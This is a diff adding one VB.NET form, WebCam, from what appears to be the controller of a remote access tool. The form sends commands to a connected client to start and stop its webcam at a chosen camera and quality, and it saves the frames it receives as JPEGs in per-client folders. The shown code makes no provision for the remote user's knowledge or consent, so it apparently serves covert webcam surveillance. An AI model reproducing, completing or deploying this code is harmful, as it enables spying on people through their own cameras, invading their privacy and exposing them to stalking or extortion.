initial commit

2026-08-27 11:22:34 -06:00
commit 5983c713b1
2676 changed files with 529190 additions and 0 deletions
@@ -0,0 +1,87 @@
+Imports System.IO
+Imports System.Threading
+Public Class WebCam
+
+    Public C As Client
+    Public CID As String
+
+    Public FPS As Integer = 0
+    Public sw As Stopwatch = Stopwatch.StartNew()
+    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
+        Try
+            If Not C.IsConnected Then
+                Close()
+            End If
+        Catch ex As Exception
+            Debug.WriteLine(ex.Message)
+        End Try
+    End Sub
+    Public Sub save(ByVal b As IO.MemoryStream)
+        Try
+            Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", CID, "WebCam")
+            Image.FromStream(b).Save(fullPath & "\" & DateAndTime.Now.ToString("MM-dd-yyyy HH;mm;ss;fff") & ".jpg", Imaging.ImageFormat.Jpeg)
+        Catch ex As Exception
+            ToolStripStatusLabel4.ForeColor = Color.Black
+        End Try
+    End Sub
+
+    Private Sub WebCam_Load(sender As Object, e As EventArgs) Handles MyBase.Load
+        Guna2ComboBox1.Text = "10%"
+        Guna2GradientButton1.PerformClick()
+    End Sub
+
+    Private Sub WebCam_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
+        Dim B As Byte() = SB("ENDCam")
+        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
+    End Sub
+
+    Private Sub ToolStripStatusLabel4_Click(sender As Object, e As EventArgs) Handles ToolStripStatusLabel4.Click
+        If ToolStripStatusLabel4.ForeColor = Color.Green Then
+            ToolStripStatusLabel4.ForeColor = Color.Black
+        Else
+            Try
+                If PictureBox1.Image IsNot Nothing Then
+
+                    Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", CID, "WebCam")
+
+                    If Not Directory.Exists(fullPath) Then
+                        Directory.CreateDirectory(fullPath)
+                    End If
+
+                    Process.Start(fullPath)
+
+                    ToolStripStatusLabel4.ForeColor = Color.Green
+
+                End If
+
+            Catch ex As Exception
+                MessageBox.Show(ex.Message)
+            End Try
+
+        End If
+    End Sub
+
+    Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
+        If Guna2GradientButton1.Text = "Start" Then
+
+            Dim B As Byte() = SB("Cam" & SettingsHelper.SPL & Guna2ComboBox2.SelectedIndex.ToString & SettingsHelper.SPL & Guna2ComboBox1.Text.Replace("%", "").ToString)
+            ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
+            Guna2GradientButton1.Text = "Stop"
+            Guna2GradientButton1.Image = My.Resources._Stop
+
+        Else
+
+            Dim B As Byte() = SB("CLOSECam")
+            ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
+            Guna2GradientButton1.Text = "Start"
+            Guna2GradientButton1.Image = My.Resources.Play
+        End If
+    End Sub
+
+    Private Sub Guna2ComboBox2_SelectedIndexChanged(sender As Object, e As EventArgs) Handles Guna2ComboBox2.SelectedIndexChanged
+        Dim B As Byte() = SB("CLOSECam")
+        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
+        Guna2GradientButton1.Text = "Start"
+        Guna2GradientButton1.Image = My.Resources.Play
+    End Sub
+End Class